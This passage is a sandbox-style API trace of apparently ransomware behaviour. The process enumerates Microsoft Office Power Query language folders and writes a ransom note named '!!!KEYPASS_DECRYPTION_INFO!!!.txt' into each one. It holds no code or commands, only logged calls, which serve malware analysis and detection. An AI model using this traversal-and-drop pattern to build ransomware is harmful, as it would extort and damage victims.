lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x2a, lpOverlapped=0x0) returned 1 [0246.102] CloseHandle (hObject=0x678) returned 1 [0246.102] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\el\\*", lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0x2ef9348 [0246.103] FindNextFileW (in: hFindFile=0x2ef9348, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.103] FindNextFileW (in: hFindFile=0x2ef9348, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.103] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\el\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0246.103] FindNextFileW (in: hFindFile=0x2ef9348, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.103] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\el\\Microsoft.Data.SapClient.resources.dll") returned=".dll" [0246.103] FindNextFileW (in: hFindFile=0x2ef9348, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.103] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\el\\Microsoft.Mashup.Client.Excel.resources.dll") returned=".dll" [0246.103] FindNextFileW (in: hFindFile=0x2ef9348, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.103] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\el\\Microsoft.Mashup.Client.UI.resources.dll") returned=".dll" [0246.103] FindNextFileW (in: hFindFile=0x2ef9348, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.103] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\el\\Microsoft.Mashup.Client.Windows.resources.dll") returned=".dll" [0246.103] FindNextFileW (in: hFindFile=0x2ef9348, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.103] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\el\\Microsoft.Mashup.Document.resources.dll") returned=".dll" [0246.103] FindNextFileW (in: hFindFile=0x2ef9348, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.103] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\el\\Microsoft.Mashup.DocumentServices.resources.dll") returned=".dll" [0246.103] FindNextFileW (in: hFindFile=0x2ef9348, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.103] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\el\\Microsoft.Mashup.OAuth.resources.dll") returned=".dll" [0246.103] FindNextFileW (in: hFindFile=0x2ef9348, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.103] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\el\\Microsoft.Mashup.OleDbProvider.resources.dll") returned=".dll" [0246.103] FindNextFileW (in: hFindFile=0x2ef9348, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.103] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\el\\Microsoft.MashupEngine.resources.dll") returned=".dll" [0246.103] FindNextFileW (in: hFindFile=0x2ef9348, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0246.104] FindNextFileW (in: hFindFile=0x2e79dd8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0246.104] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0246.104] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x38bb4a0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0246.104] GetLastError () returned 0x3f0 [0246.104] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\es\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\es\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0246.104] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\es\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0246.181] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\es\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\es\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4de48, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x67c [0246.183] GetFileType (hFile=0x67c) returned 0x1 [0246.183] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0246.184] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0246.184] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0246.184] WriteFile (in: hFile=0x67c, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x3a4, lpOverlapped=0x0) returned 1 [0246.185] WriteFile (in: hFile=0x67c, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x2a, lpOverlapped=0x0) returned 1 [0246.185] CloseHandle (hObject=0x67c) returned 1 [0246.185] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\es\\*", lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0x2ef97c8 [0246.185] FindNextFileW (in: hFindFile=0x2ef97c8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.185] FindNextFileW (in: hFindFile=0x2ef97c8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.185] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\es\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0246.185] FindNextFileW (in: hFindFile=0x2ef97c8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.186] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\es\\Microsoft.Data.SapClient.resources.dll") returned=".dll" [0246.186] FindNextFileW (in: hFindFile=0x2ef97c8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.186] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\es\\Microsoft.Mashup.Client.Excel.resources.dll") returned=".dll" [0246.186] FindNextFileW (in: hFindFile=0x2ef97c8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.186] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\es\\Microsoft.Mashup.Client.UI.resources.dll") returned=".dll" [0246.186] FindNextFileW (in: hFindFile=0x2ef97c8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.186] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\es\\Microsoft.Mashup.Client.Windows.resources.dll") returned=".dll" [0246.186] FindNextFileW (in: hFindFile=0x2ef97c8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.186] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\es\\Microsoft.Mashup.Document.resources.dll") returned=".dll" [0246.186] FindNextFileW (in: hFindFile=0x2ef97c8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.186] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\es\\Microsoft.Mashup.DocumentServices.resources.dll") returned=".dll" [0246.186] FindNextFileW (in: hFindFile=0x2ef97c8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.186] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\es\\Microsoft.Mashup.OAuth.resources.dll") returned=".dll" [0246.186] FindNextFileW (in: hFindFile=0x2ef97c8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.186] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\es\\Microsoft.Mashup.OleDbProvider.resources.dll") returned=".dll" [0246.186] FindNextFileW (in: hFindFile=0x2ef97c8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.186] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\es\\Microsoft.MashupEngine.resources.dll") returned=".dll" [0246.186] FindNextFileW (in: hFindFile=0x2ef97c8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0246.186] FindNextFileW (in: hFindFile=0x2e79dd8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0246.186] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0246.186] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x38bb4a0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0246.186] GetLastError () returned 0x3f0 [0246.186] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\et\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\et\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0246.187] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\et\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0246.196] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\et\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\et\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4de48, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x684 [0246.199] GetFileType (hFile=0x684) returned 0x1 [0246.199] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0246.199] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0246.199] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0246.200] WriteFile (in: hFile=0x684, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x3a4, lpOverlapped=0x0) returned 1 [0246.201] WriteFile (in: hFile=0x684, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x2a, lpOverlapped=0x0) returned 1 [0246.201] CloseHandle (hObject=0x684) returned 1 [0246.201] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\et\\*", lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0x2ef9488 [0246.202] FindNextFileW (in: hFindFile=0x2ef9488, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.202] FindNextFileW (in: hFindFile=0x2ef9488, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.202] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\et\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0246.202] FindNextFileW (in: hFindFile=0x2ef9488, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.202] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\et\\Microsoft.Data.SapClient.resources.dll") returned=".dll" [0246.202] FindNextFileW (in: hFindFile=0x2ef9488, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.202] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\et\\Microsoft.Mashup.Client.Excel.resources.dll") returned=".dll" [0246.202] FindNextFileW (in: hFindFile=0x2ef9488, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.202] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\et\\Microsoft.Mashup.Client.UI.resources.dll") returned=".dll" [0246.202] FindNextFileW (in: hFindFile=0x2ef9488, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.202] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\et\\Microsoft.Mashup.Client.Windows.resources.dll") returned=".dll" [0246.202] FindNextFileW (in: hFindFile=0x2ef9488, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.202] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\et\\Microsoft.Mashup.Document.resources.dll") returned=".dll" [0246.202] FindNextFileW (in: hFindFile=0x2ef9488, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.202] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\et\\Microsoft.Mashup.DocumentServices.resources.dll") returned=".dll" [0246.202] FindNextFileW (in: hFindFile=0x2ef9488, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.202] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\et\\Microsoft.Mashup.OAuth.resources.dll") returned=".dll" [0246.202] FindNextFileW (in: hFindFile=0x2ef9488, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.202] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\et\\Microsoft.Mashup.OleDbProvider.resources.dll") returned=".dll" [0246.202] FindNextFileW (in: hFindFile=0x2ef9488, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.202] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\et\\Microsoft.MashupEngine.resources.dll") returned=".dll" [0246.202] FindNextFileW (in: hFindFile=0x2ef9488, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0246.203] FindNextFileW (in: hFindFile=0x2e79dd8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0246.203] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0246.203] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x38bb4a0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0246.203] GetLastError () returned 0x3f0 [0246.203] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\eu\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\eu\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0246.203] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\eu\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0246.217] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\eu\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\eu\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4de48, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x680 [0246.219] GetFileType (hFile=0x680) returned 0x1 [0246.219] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0246.219] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0246.219] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0246.219] WriteFile (in: hFile=0x680, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x3a4, lpOverlapped=0x0) returned 1 [0246.220] WriteFile (in: hFile=0x680, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x2a, lpOverlapped=0x0) returned 1 [0246.220] CloseHandle (hObject=0x680) returned 1 [0246.220] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\eu\\*", lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0x2ef9a88 [0246.220] FindNextFileW (in: hFindFile=0x2ef9a88, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.220] FindNextFileW (in: hFindFile=0x2ef9a88, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.220] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\eu\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0246.220] FindNextFileW (in: hFindFile=0x2ef9a88, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.220] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\eu\\Microsoft.Data.SapClient.resources.dll") returned=".dll" [0246.220] FindNextFileW (in: hFindFile=0x2ef9a88, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.220] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\eu\\Microsoft.Mashup.Client.Excel.resources.dll") returned=".dll" [0246.220] FindNextFileW (in: hFindFile=0x2ef9a88, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.220] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\eu\\Microsoft.Mashup.Client.UI.resources.dll") returned=".dll" [0246.221] FindNextFileW (in: hFindFile=0x2ef9a88, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.221] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\eu\\Microsoft.Mashup.Client.Windows.resources.dll") returned=".dll" [0246.221] FindNextFileW (in: hFindFile=0x2ef9a88, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.221] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\eu\\Microsoft.Mashup.Document.resources.dll") returned=".dll" [0246.221] FindNextFileW (in: hFindFile=0x2ef9a88, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.221] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\eu\\Microsoft.Mashup.DocumentServices.resources.dll") returned=".dll" [0246.221] FindNextFileW (in: hFindFile=0x2ef9a88, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.221] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\eu\\Microsoft.Mashup.OAuth.resources.dll") returned=".dll" [0246.221] FindNextFileW (in: hFindFile=0x2ef9a88, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.221] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\eu\\Microsoft.Mashup.OleDbProvider.resources.dll") returned=".dll" [0246.221] FindNextFileW (in: hFindFile=0x2ef9a88, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0246.221] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\eu\\Microsoft.MashupEngine.resources.dll") returned=".dll" [0246.221] FindNextFileW (in: hFindFile=0x2ef9a88, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0246.221] FindNextFileW (in: hFindFile=0x2e79dd8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0246.221] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\EventSource.dll") returned=".dll" [0246.221] FindNextFileW (in: hFindFile=0x2e79dd8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0246.221] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0246.221] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x38bb4a0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0246.221] GetLastError () returned 0x3f0 [0246.221] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\fa\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\fa\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0246.221] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\fa\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0246.236] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\fa\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\fa\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4de48, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x68c [0246.238] GetFileType (hFile=0x68c) returned 0x1 [0246.238] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0246.239] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0246.239] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0246.239] WriteFile (in: hFile=0x68c, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x3a4, lpOverlapped=0x0) returned 1 [0246.240] WriteFile (in: hFile=0x68c, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x2a, lpOverlapped=0x0) returned 1 [0246.240] CloseHandle (hObject=0x68c) returned 1 [0246.240] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\fa\\*", lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0x2ef94c8 [0246.240] 